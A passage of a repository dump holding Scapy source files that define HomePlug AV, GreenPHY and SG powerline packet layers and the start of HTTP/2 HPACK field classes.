LEIntField(\"SDRAMRefreshRegister\", 0),\n                   LEIntField(\"MACClockRegister\", 0),\n                   LEIntField(\"reserved_1\", 0), ]\n\n\nclass ReadConfBlockConfirmation(Packet):\n    name = \"ReadConfBlockConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x00, ReadConfBlockCodes),\n                   FieldLenField(\"BlockLen\", None, count_of=\"ConfigurationBlock\", fmt=\"B\"),  # noqa: E501\n                   PacketListField(\"ConfigurationBlock\", None, ConfBlock, length_from=lambda pkt:pkt.BlockLen)]  # noqa: E501\n\n\n######################################################################\n# Write Module Data to NVM\n######################################################################\n\nclass WriteModuleData2NVMRequest(Packet):\n    name = \"WriteModuleData2NVMRequest\"\n    fields_desc = [ByteEnumField(\"ModuleID\", 0x02, ModuleIDList)]\n\n\nclass WriteModuleData2NVMConfirmation(Packet):\n    name = \"WriteModuleData2NVMConfirmation\"\n    fields_desc = [ByteEnumField(\"Status\", 0x0, StatusCodes),\n                   ByteEnumField(\"ModuleID\", 0x02, ModuleIDList)]\n\n#                            END                                      #\n\n\nclass HomePlugAV(Packet):\n    \"\"\"\n        HomePlugAV Packet - by default => gets devices information\n    \"\"\"\n    name = \"HomePlugAV \"\n    fields_desc = [MACManagementHeader,\n                   ConditionalField(XShortField(\"FragmentInfo\", 0x0),\n                                    FragmentCond),\n                   ConditionalField(PacketListField(\"VendorField\", VendorMME(),\n                                                    VendorMME,\n                                                    length_from=lambda x: 3),\n                                    lambda pkt:(pkt.version == 0x00))]\n\n    def answers(self, other):\n        return (isinstance(self, HomePlugAV))\n\n\nbind_layers(Ether, HomePlugAV, {\"type\": 0x88e1})\n\n#   +----------+------------+--------------------+\n#   | Ethernet | HomePlugAV | Elements + Payload |\n#   +----------+------------+--------------------+\nbind_layers(HomePlugAV, GetDeviceVersion, HPtype=0xA001)\nbind_layers(HomePlugAV, StartMACRequest, HPtype=0xA00C)\nbind_layers(HomePlugAV, StartMACConfirmation, HPtype=0xA00D)\nbind_layers(HomePlugAV, ResetDeviceRequest, HPtype=0xA01C)\nbind_layers(HomePlugAV, ResetDeviceConfirmation, HPtype=0xA01D)\nbind_layers(HomePlugAV, NetworkInformationRequest, HPtype=0xA038)\nbind_layers(HomePlugAV, ReadMACMemoryRequest, HPtype=0xA008)\nbind_layers(HomePlugAV, ReadMACMemoryConfirmation, HPtype=0xA009)\nbind_layers(HomePlugAV, ReadModuleDataRequest, HPtype=0xA024)\nbind_layers(HomePlugAV, ReadModuleDataConfirmation, HPtype=0xA025)\nbind_layers(HomePlugAV, ModuleOperationRequest, HPtype=0xA0B0)\nbind_layers(HomePlugAV, ModuleOperationConfirmation, HPtype=0xA0B1)\nbind_layers(HomePlugAV, WriteModuleDataRequest, HPtype=0xA020)\nbind_layers(HomePlugAV, WriteModuleData2NVMRequest, HPtype=0xA028)\nbind_layers(HomePlugAV, WriteModuleData2NVMConfirmation, HPtype=0xA029)\nbind_layers(HomePlugAV, NetworkInfoConfirmationV10, HPtype=0xA039, version=0x00)  # noqa: E501\nbind_layers(HomePlugAV, NetworkInfoConfirmationV11, HPtype=0xA039, version=0x01)  # noqa: E501\nbind_layers(NetworkInfoConfirmationV10, NetworkInfoV10, HPtype=0xA039, version=0x00)  # noqa: E501\nbind_layers(NetworkInfoConfirmationV11, NetworkInfoV11, HPtype=0xA039, version=0x01)  # noqa: E501\nbind_layers(HomePlugAV, HostActionRequired, HPtype=0xA062)\nbind_layers(HomePlugAV, LoopbackRequest, HPtype=0xA048)\nbind_layers(HomePlugAV, LoopbackConfirmation, HPtype=0xA049)\nbind_layers(HomePlugAV, SetEncryptionKeyRequest, HPtype=0xA050)\nbind_layers(HomePlugAV, SetEncryptionKeyConfirmation, HPtype=0xA051)\nbind_layers(HomePlugAV, ReadConfBlockRequest, HPtype=0xA058)\nbind_layers(HomePlugAV, ReadConfBlockConfirmation, HPtype=0xA059)\nbind_layers(HomePlugAV, QUAResetFactoryConfirm, HPtype=0xA07D)\nbind_layers(HomePlugAV, GetNVMParametersRequest, HPtype=0xA010)\nbind_layers(HomePlugAV, GetNVMParametersConfirmation, HPtype=0xA011)\nbind_layers(HomePlugAV, SnifferRequest, HPtype=0xA034)\nbind_layers(HomePlugAV, SnifferConfirmation, HPtype=0xA035)\nbind_layers(HomePlugAV, SnifferIndicate, HPtype=0xA036)\n\n\"\"\"\n    Credit song : \"Western Spaguetti - We are terrorists\"\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/homepluggp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = HomePlugGP Layer\n# scapy.contrib.status = loads\n\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, FieldLenField, \\\n    MACField, PacketListField, ShortField, \\\n    StrFixedLenField, XIntField, PacketField \\\n\n# This layer extends HomePlug AV one\nfrom scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList\n\n# Copyright (C) HomePlugGP Layer for Scapy by FlUxIuS (Sebastien Dudek)\n# As HomePlug GreenPHY is a subset of HomePlug AV, that is why we use\n# HomePlugAV layer as a base here.\n\nHomePlugGPTypes = {0x6008: \"CM_SET_KEY_REQ\",\n                   0x6009: \"CM_SET_KEY_CNF\",\n                   0x6064: \"CM_SLAC_PARM_REQ\",\n                   0x6065: \"CM_SLAC_PARM_CNF\",\n                   0x606e: \"CM_ATTEN_CHAR_IN\",\n                   0x606a: \"CM_START_ATTEN_CHAR_IND\",\n                   0x606f: \"CM_ATTEN_CHAR_RSP\",\n                   0x6076: \"CM_MNBC_SOUND_IND\",\n                   0x607c: \"CM_SLAC_MATCH_REQ\",\n                   0x607d: \"CM_SLAC_MATCH_CNF\",\n                   0x6086: \"CM_ATTENUATION_CHARACTERISTICS_MME\"}\n\nQualcommTypeList.update(HomePlugGPTypes)\n\nHPGP_codes = {0x0: \"Success\"}\n\nKeyType_list = {0x01: \"NMK (AES-128)\"}\n\n######################################################################\n# SLAC operations\n######################################################################\n\n\nclass CM_SLAC_PARM_REQ(Packet):\n    name = \"CM_SLAC_PARM_REQ\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8)]\n\n\nclass CM_SLAC_PARM_CNF(Packet):\n    name = \"CM_SLAC_PARM_CNF\"\n    fields_desc = [MACField(\"MSoundTargetMAC\", \"00:00:00:00:00:00\"),\n                   ByteField(\"NumberMSounds\", 0x0),\n                   ByteField(\"TimeOut\", 0x0),\n                   ByteField(\"ResponseType\", 0x0),\n                   MACField(\"ForwardingSTA\", \"00:00:00:00:00:00\"),\n                   ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8)]\n\n\nclass HPGP_GROUP(Packet):\n    name = \"HPGP_GROUP\"\n    fields_desc = [ByteField(\"group\", 0x0)]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass VS_ATTENUATION_CHARACTERISTICS_MME(Packet):\n    name = \"VS_ATTENUATION_CHARACTERISTICS_MME\"\n    fields_desc = [MACField(\"EVMACAddress\", \"00:00:00:00:00:00\"),\n                   FieldLenField(\"NumberOfGroups\", None,\n                                 count_of=\"Groups\", fmt=\"B\"),\n                   ByteField(\"NumberOfCarrierPerGroupe\", 0),\n                   StrFixedLenField(\"Reserved\", b\"\\x00\" * 7, 7),\n                   PacketListField(\"Groups\", \"\", HPGP_GROUP,\n                                   length_from=lambda pkt: pkt.NumberOfGroups)]\n\n\nclass CM_ATTENUATION_CHARACTERISTICS_MME(Packet):\n    name = \"CM_ATTENUATION_CHARACTERISTICS_MME\"\n    fields_desc = [MACField(\"EVMACAddress\", \"00:00:00:00:00:00\"),\n                   FieldLenField(\"NumberOfGroups\", None, count_of=\"Groups\",\n                                 fmt=\"B\"),\n                   ByteField(\"NumberOfCarrierPerGroupe\", 0),\n                   PacketListField(\"Groups\", \"\", HPGP_GROUP,\n                                   length_from=lambda pkt: pkt.NumberOfGroups)]\n\n\nclass CM_ATTEN_CHAR_IND(Packet):\n    name = \"CM_ATTEN_CHAR_IND\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   MACField(\"SourceAdress\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"SourceID\", b\"\\x00\" * 17, 17),\n                   StrFixedLenField(\"ResponseID\", b\"\\x00\" * 17, 17),\n                   ByteField(\"NumberOfSounds\", 0x0),\n                   FieldLenField(\"NumberOfGroups\", None, count_of=\"Groups\",\n                                 fmt=\"B\"),\n                   PacketListField(\"Groups\", \"\", HPGP_GROUP,\n                                   length_from=lambda pkt: pkt.NumberOfGroups)]\n\n\nclass CM_ATTEN_CHAR_RSP(Packet):\n    name = \"CM_ATTEN_CHAR_RSP\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   MACField(\"SourceAdress\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"SourceID\", b\"\\x00\" * 17, 17),\n                   StrFixedLenField(\"ResponseID\", b\"\\x00\" * 17, 17),\n                   ByteEnumField(\"Result\", 0x0, HPGP_codes)]\n\n\nclass SLAC_varfield(Packet):\n    name = \"SLAC_varfield\"\n    fields_desc = [StrFixedLenField(\"EVID\", b\"\\x00\" * 17, 17),\n                   MACField(\"EVMAC\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"EVSEID\", b\"\\x00\" * 17, 17),\n                   MACField(\"EVSEMAC\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"RSVD\", b\"\\x00\" * 8, 8)]\n\n\nclass CM_SLAC_MATCH_REQ(Packet):\n    name = \"CM_SLAC_MATCH_REQ\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   FieldLenField(\"MatchVariableFieldLen\", None,\n                                 length_of=\"VariableField\", fmt=\"<H\"),\n                   PacketField(\"VariableField\",\n                               SLAC_varfield(),\n                               SLAC_varfield)]\n\n\nclass SLAC_varfield_cnf(Packet):\n    name = \"SLAC_varfield\"\n    fields_desc = [StrFixedLenField(\"EVID\", b\"\\x00\" * 17, 17),\n                   MACField(\"EVMAC\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"EVSEID\", b\"\\x00\" * 17, 17),\n                   MACField(\"EVSEMAC\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"RSVD\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"NetworkID\", b\"\\x00\" * 7, 7),\n                   ByteField(\"Reserved\", 0x0),\n                   StrFixedLenField(\"NMK\", b\"\\x00\" * 16, 16)]\n\n\nclass CM_SLAC_MATCH_CNF(Packet):\n    name = \"CM_SLAC_MATCH_CNF\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   FieldLenField(\"MatchVariableFieldLen\", None,\n                                 length_of=\"VariableField\", fmt=\"<H\"),\n                   PacketField(\"VariableField\",\n                               SLAC_varfield_cnf(),\n                               SLAC_varfield_cnf)]\n\n\nclass CM_START_ATTEN_CHAR_IND(Packet):\n    name = \"CM_START_ATTEN_CHAR_IND\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   ByteField(\"NumberOfSounds\", 0x0),\n                   ByteField(\"TimeOut\", 0x0),\n                   ByteField(\"ResponseType\", 0x0),\n                   MACField(\"ForwardingSTA\", \"00:00:00:00:00:00\"),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8)]\n\n\nclass CM_MNBC_SOUND_IND(Packet):\n    name = \"CM_MNBC_SOUND_IND\"\n    fields_desc = [ByteField(\"ApplicationType\", 0x0),\n                   ByteField(\"SecurityType\", 0x0),\n                   StrFixedLenField(\"SenderID\", b\"\\x00\" * 17, 17),\n                   ByteField(\"Countdown\", 0x0),\n                   StrFixedLenField(\"RunID\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"RSVD\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"RandomValue\", b\"\\x00\" * 16, 16)]\n\n\n######################################################################\n# Set keys for GP\n######################################################################\n\n\nclass CM_SET_KEY_REQ(Packet):\n    name = \"CM_SET_KEY_REQ\"\n    fields_desc = [ByteEnumField(\"KeyType\", 0x0, KeyType_list),\n                   XIntField(\"MyNonce\", 0),\n                   XIntField(\"YourNonce\", 0),\n                   ByteField(\"PID\", 0),\n                   ShortField(\"ProtoRunNumber\", 0),\n                   ByteField(\"ProtoMessNumber\", 0),\n                   ByteField(\"CCoCapability\", 0),\n                   StrFixedLenField(\"NetworkID\", b\"\\x00\" * 7, 7),\n                   ByteField(\"NewEncKeySelect\", 0),\n                   StrFixedLenField(\"NewKey\", b\"\\x00\" * 16, 16)]\n\n\nclass CM_SET_KEY_CNF(Packet):\n    name = \"CM_SET_KEY_CNF\"\n    fields_desc = [ByteEnumField(\"Result\", 0x0, HPGP_codes),\n                   XIntField(\"MyNonce\", 0),\n                   XIntField(\"YourNonce\", 0),\n                   ByteField(\"PID\", 0),\n                   ShortField(\"ProtoRunNumber\", 0),\n                   ByteField(\"ProtoMessNumber\", 0),\n                   ByteField(\"CCoCapability\", 0)]\n\n\n# END #\n\n\nbind_layers(HomePlugAV, VS_ATTENUATION_CHARACTERISTICS_MME, HPtype=0xA14E)\nbind_layers(HomePlugAV, CM_SLAC_PARM_REQ, HPtype=0x6064)\nbind_layers(HomePlugAV, CM_SLAC_PARM_CNF, HPtype=0x6065)\nbind_layers(HomePlugAV, CM_START_ATTEN_CHAR_IND, HPtype=0x606a)\nbind_layers(HomePlugAV, CM_ATTEN_CHAR_IND, HPtype=0x606e)\nbind_layers(HomePlugAV, CM_ATTEN_CHAR_RSP, HPtype=0x606f)\nbind_layers(HomePlugAV, CM_MNBC_SOUND_IND, HPtype=0x6076)\nbind_layers(HomePlugAV, CM_SLAC_MATCH_REQ, HPtype=0x607c)\nbind_layers(HomePlugAV, CM_SLAC_MATCH_CNF, HPtype=0x607d)\nbind_layers(HomePlugAV, CM_SET_KEY_REQ, HPtype=0x6008)\nbind_layers(HomePlugAV, CM_SET_KEY_CNF, HPtype=0x6009)\nbind_layers(HomePlugAV, CM_ATTENUATION_CHARACTERISTICS_MME, HPtype=0x6086)\n"
  },
  {
    "path": "scapy/contrib/homeplugsg.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = HomePlugSG Layer\n# scapy.contrib.status = loads\n\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import FieldLenField, StrFixedLenField, StrLenField\n\n# Extends HomePlug AV and GP layer\nfrom scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList\n\n#\n#    Copyright (C) HomePlugSG Layer for Scapy by FlUxIuS (Sebastien Dudek)\n#\n\n# HomePlug GP extension for SG\n\n\nHomePlugSGTypes = {0xA400: \"VS_UART_CMD_Req\",\n                   0xA401: \"VS_UART_CMD_Cnf\"}\n\n\nQualcommTypeList.update(HomePlugSGTypes)\n\n# UART commands over HomePlugGP\n\n\nclass VS_UART_CMD_REQ(Packet):\n    name = \"VS_UART_CMD_REQ\"\n    fields_desc = [FieldLenField(\"UDataLen\", None, count_of=\"UData\", fmt=\"H\"),\n                   StrLenField(\"UData\", \"UartCommand\\x00\",\n                               length_from=lambda pkt: pkt.UDataLen)]\n\n\nclass VS_UART_CMD_CNF(Packet):\n    name = \"VS_UART_CMD_CNF\"\n    fields_desc = [StrFixedLenField(\"reserved\", b\"\\x00\", 6),\n                   FieldLenField(\"UDataLen\", None, count_of=\"UData\", fmt=\"H\"),\n                   StrLenField(\"UData\", \"UartCommand\\x00\",\n                               length_from=lambda pkt: pkt.UDataLen)]\n\n\n# END #\n\nbind_layers(HomePlugAV, VS_UART_CMD_REQ, HPtype=0xA400)\nbind_layers(HomePlugAV, VS_UART_CMD_CNF, HPtype=0xA401)\n"
  },
  {
    "path": "scapy/contrib/http2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2016  Florian Maury <florian.maury@ssi.gouv.fr>\n\n\"\"\"\nhttp2\n\nHTTP/2 support for Scapy\nsee RFC7540 and RFC7541 for more information\n\nImplements packets and fields required to encode/decode HTTP/2 Frames\nand HPack encoded headers\n\"\"\"\n\n# scapy.contrib.status=loads\n# scapy.contrib.description=HTTP/2 (RFC 7540, RFC 7541)\n\n# base_classes triggers an unwanted import warning\n\nimport abc\nimport re\nfrom io import BytesIO\nimport struct\nfrom scapy.compat import raw, plain_str, hex_bytes, orb, chb, bytes_encode\n\n# Only required if using mypy-lang for static typing\n# Most symbols are used in mypy-interpreted \"comments\".\n# Sized must be one of the superclasses of a class implementing __len__\nfrom typing import (\n    Optional,\n    List,\n    Union,\n    Callable,\n    Any,\n    Tuple,\n    Sized,\n    Pattern,\n)\nfrom scapy.base_classes import Packet_metaclass  # noqa: F401\n\nimport scapy.fields as fields\nimport scapy.packet as packet\nimport scapy.config as config\nimport scapy.volatile as volatile\nimport scapy.error as error\n\n###############################################################################\n#                                                HPACK Integer Fields         #\n###############################################################################\n\n\nclass HPackMagicBitField(fields.BitField):\n    \"\"\" HPackMagicBitField is a BitField variant that cannot be assigned another\n    value than the default one. This field must not be used where there is\n    potential for fuzzing. OTOH, this field makes sense (for instance, if the\n    magic bits are used by a dispatcher to select the payload class)\n    \"\"\"\n\n    __slots__ = ['_magic']\n\n    def __init__(self, name, default, size):\n        # type: (str, int, int) -> None\n        \"\"\"\n        :param str name: this field instance name.\n        :param int default: this field only valid value.\n        :param int size: this bitfield bitlength.\n        :return: None\n        :raises: AssertionError\n        \"\"\"\n        assert default >= 0\n        # size can be negative if encoding is little-endian (see rev property of bitfields)  # noqa: E501\n        assert size != 0\n        self._magic = default\n        super(HPackMagicBitField, self).__init__(name, default, size)\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> Union[str, Tuple[str, int, int]]  # noqa: E501\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.  # noqa: E501\n        :param str|(str, int, long) s: either a str if 0 == size%8 or a tuple with the string to add this field to, the  # noqa: E501\n          number of bits already generated and the generated value so far.\n        :param int val: unused; must be equal to default value\n        :return: str|(str, int, long): the s string extended with this field machine representation  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        assert val == self._magic, 'val parameter must value {}; received: {}'.format(self._magic, val)  # noqa: E501\n        return super(HPackMagicBitField, self).addfield(pkt, s, self._magic)\n\n    def getfield(self, pkt, s):\n        # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[Union[Tuple[str, int], str], int]  # noqa: E501\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.  # noqa: E501\n        :param str|(str, int) s: either a str if size%8==0 or a tuple with the string to parse from and the number of  # noqa: E501\n          bits already consumed by previous bitfield-compatible fields.\n        :return: (str|(str, int), int): Returns the remaining string and the parsed value. May return a tuple if there  # noqa: E501\n          are remaining bits to parse in the first byte. Returned value is equal to default value  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        r = super(HPackMagicBitField, self).getfield(pkt, s)\n        assert (\n            isinstance(r, tuple) and\n            len(r) == 2 and\n            isinstance(r[1], int)\n        ), 'Second element of BitField.getfield return value expected to be an int or a long; API change detected'  # noqa: E501\n        assert r[1] == self._magic, 'Invalid value parsed from s; error in class guessing detected!'  # noqa: E501\n        return r\n\n    def h2i(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused  # noqa: E501\n        :param int x: unused; must be equal to default value\n        :return: int; default value\n        :raises: AssertionError\n        \"\"\"\n        assert x == self._magic, \\\n            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)  # noqa: E501\n        return super(HPackMagicBitField, self).h2i(pkt, self._magic)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused  # noqa: E501\n        :param int x: unused; must be equal to default value\n        :return: int; default value\n        :raises: AssertionError\n        \"\"\"\n        assert x == self._magic, \\\n            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)  # noqa: E501\n        return super(HPackMagicBitField, self).i2h(pkt, self._magic)\n\n    def m2i(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused  # noqa: E501\n        :param int x: must be the machine representatino of the default value\n        :return: int; default value\n        :raises: AssertionError\n        \"\"\"\n        r = super(HPackMagicBitField, self).m2i(pkt, x)\n        assert r == self._magic, 'Invalid value parsed from m2i; error in class guessing detected!'  # noqa: E501\n        return r\n\n    def i2m(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused  # noqa: E501\n        :param int x: unused; must be equal to default value\n        :return: int; default value\n        :raises: AssertionError\n        \"\"\"\n        assert x == self._magic, \\\n            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)  # noqa: E501\n        return super(HPackMagicBitField, self).i2m(pkt, self._magic)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused  # noqa: E501\n        :param int x: unused; must be equal to default value\n        :return: int; default value\n        :raises: AssertionError\n        \"\"\"\n        assert x == self._magic, \\\n            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)  # noqa: E501\n        return super(HPackMagicBitField, self).any2i(pkt, self._magic)\n\n\nclass AbstractUVarIntField(fields.Field):\n    \"\"\"AbstractUVarIntField represents an integer as defined in RFC7541\n    \"\"\"\n\n    __slots__ = ['_max_value', 'size', 'rev']\n    \"\"\"\n    :var int size: the bit length of the prefix of this AbstractUVarIntField. It  # noqa: E501\n        represents the complement of the number of MSB that are used in the\n        current byte for other purposes by some other BitFields\n    :var int _max_value: the maximum value that can be stored in the\n        sole prefix. If the integer equals or exceeds this value, the max prefix\n        value is assigned to the size first bits and the multibyte representation\n        is used\n    :var bool rev: is a fake property, also emulated for the sake of\n        compatibility with Bitfields\n    \"\"\"\n\n    def __init__(self, name, default, size):\n        # type: (str, Optional[int], int) -> None\n        \"\"\"\n        :param str name: the name of this field instance\n        :param int|None default: positive, null or None default value for this field instance.  # noqa: E501\n        :param int size: the number of bits to consider in the first byte. Valid range is ]0;8]  # noqa: E501\n        :return: None\n        :raises: AssertionError\n        \"\"\"\n        assert default is None or (isinstance(default, int) and default >= 0)\n        assert 0 < size <= 8\n        super(AbstractUVarIntField, self).__init__(name, default)\n        self.size = size\n        self._max_value = (1 << self.size) - 1\n\n        # Configuring the fake property that is useless for this class\n        # but that is expected from BitFields\n        self.rev = False\n\n    def h2i(self, pkt, x):\n        # type: (Optional[packet.Packet], Optional[int]) -> Optional[int]\n        \"\"\"\n        :param packet.Packet|None pkt: unused.\n        :param int|None x: the value to convert.\n        :return: int|None: the converted value.\n        :raises: AssertionError\n        \"\"\"\n        assert not isinstance(x, int) or x >= 0\n        return x\n\n    def i2h(self, pkt, x):\n        # type: (Optional[packet.Packet], Optional[int]) -> Optional[int]\n        \"\"\"\n        :param packet.Packet|None pkt: unused.\n        :param int|None x: the value to convert.\n        :return:: int|None: the converted value.\n        \"\"\"\n        return x\n\n    def _detect_multi_byte(self, fb):\n        # type: (str) -> bool\n        \"\"\" _detect_multi_byte returns whether the AbstractUVarIntField is represented on  # noqa: E501\n          multiple bytes or not.\n\n          A multibyte representation is indicated by all of the first size bits being set  # noqa: E501\n\n        :param str fb: first byte, as a character.\n        :return: bool: True if multibyte repr detected, else False.\n        :raises: AssertionError\n        \"\"\"\n        assert isinstance(fb, int) or len(fb) == 1\n        return (orb(fb) & self._max_value) == self._max_value\n\n    def _parse_multi_byte(self, s):\n        # type: (str) -> int\n        \"\"\" _parse_multi_byte parses x as a multibyte representation to get the\n          int value of this AbstractUVarIntField.\n\n        :param str s: the multibyte string to parse.\n        :return: int: The parsed int value represented by this AbstractUVarIntField.  # noqa: E501\n        :raises:: AssertionError\n        :raises:: Scapy_Exception if the input value encodes an integer larger than 1<<64  # noqa: E501\n        \"\"\"\n\n        assert len(s) >= 2\n\n        tmp_len = len(s)\n\n        value = 0\n        i = 1\n        byte = orb(s[i])\n        # For CPU sake, stops at an arbitrary large number!\n        max_value = 1 << 64\n        # As long as the MSG is set, an another byte must be read\n        while byte & 0x80:\n            value += (byte ^ 0x80) << (7 * (i - 1))\n            if value > max_value:\n                raise error.Scapy_Exception(\n                    'out-of-bound value: the string encodes a value that is too large (>2^{{64}}): {}'.format(value)  # noqa: E501\n                )\n            i += 1\n            assert i < tmp_len, 'EINVAL: x: out-of-bound read: the string ends before the AbstractUVarIntField!'  # noqa: E501\n            byte = orb(s[i])\n        value += byte << (7 * (i - 1))\n        value += self._max_value\n\n        assert value >= 0\n        return value\n\n    def m2i(self, pkt, x):\n        # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int\n        \"\"\"\n          A tuple is expected for the \"x\" param only if \"size\" is different than 8. If a tuple is received, some bits  # noqa: E501\n          were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must  # noqa: E501\n          equal \"size\".\n\n        :param packet.Packet|None pkt: unused.\n        :param str|(str, int) x: the string to convert. If bits were consumed by a previous bitfield-compatible field.  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        assert isinstance(x, bytes) or (isinstance(x, tuple) and x[1] >= 0)\n\n        if isinstance(x, tuple):\n            assert (8 - x[1]) == self.size, 'EINVAL: x: not enough bits remaining in current byte to read the prefix'  # noqa: E501\n            val = x[0]\n        else:\n            assert isinstance(x, bytes) and self.size == 8, 'EINVAL: x: tuple expected when prefix_len is not a full byte'  # noqa: E501\n            val = x\n\n        if self._detect_multi_byte(val[0]):\n            ret = self._parse_multi_byte(val)\n        else:\n            ret = orb(val[0]) & self._max_value\n\n        assert ret >= 0\n        return ret\n\n    def i2m(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> str\n        \"\"\"\n        :param packet.Packet|None pkt: unused.\n        :param int x: the value to convert.\n        :return: str: the converted value.\n        :raises: AssertionError\n        \"\"\"\n        assert x >= 0\n\n        if x < self._max_value:\n            return chb(x)\n        else:\n            # The sl list join is a performance trick, because string\n            # concatenation is not efficient with Python immutable strings\n            sl = [chb(self._max_value)]\n            x -= self._max_value\n            while x >= 0x80:\n                sl.append(chb(0x80 | (x & 0x7F)))\n                x >>= 7\n            sl.append(chb(x))\n            return b''.join(sl)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int]  # noqa: E501\n        \"\"\"\n          A \"x\" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value.  # noqa: E501\n          None is returned as is.\n\n        :param packet.Packet|None pkt: the packet containing this field; probably unused.  # noqa: E501\n        :param str|int|None x: the value to convert.\n        :return: int|None: the converted value.\n        :raises: AssertionError\n        \"\"\"\n        if isinstance(x, type(None)):\n            return x\n        if isinstance(x, int):\n            assert x >= 0\n            ret = self.h2i(pkt, x)\n            assert isinstance(ret, int) and ret >= 0\n            return ret\n        elif isinstance(x, bytes):\n            ret = self.m2i(pkt, x)\n            assert (isinstance(ret, int) and ret >= 0)\n            return ret\n        assert False, 'EINVAL: x: No idea what the parameter format is'\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[packet.Packet], Optional[int]) -> str\n        \"\"\"\n        :param packet.Packet|None pkt: probably unused.\n        :param x: int|None: the positive, null or none value to convert.\n        :return: str: the representation of the value.\n        \"\"\"\n        return repr(self.i2h(pkt, x))\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str  # noqa: E501\n        \"\"\"\n          An AbstractUVarIntField prefix always consumes the remaining bits\n          of a BitField;if no current BitField is in use (no tuple in\n          entry) then the prefix length is 8 bits and the whole byte is to\n          be consumed\n\n        :param packet.Packet|None pkt: the packet containing this field.\n          Probably unused.\n        :param str|(str, int, long) s: the string to append this field to.\n          A tuple indicates that some bits were already generated by another\n          bitfield-compatible field. This MUST be the case if \"size\" is not 8.\n          The int is the number of bits already generated in the first byte of\n          the str. The long is the value that was generated by the previous\n          bitfield-compatible fields.\n        :param int val: the positive or null value to be added.\n        :return: str: s concatenated with the machine representation of this\n          field.\n        :raises: AssertionError\n        \"\"\"\n        assert val >= 0\n        if isinstance(s, bytes):\n            assert self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte'  # noqa: E501\n            return s + self.i2m(pkt, val)\n\n        # s is a tuple\n        # assert s[1] >= 0\n        # assert s[2] >= 0\n        # assert (8 - s[1]) == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix'  # noqa: E501\n\n        if val >= self._max_value:\n            return 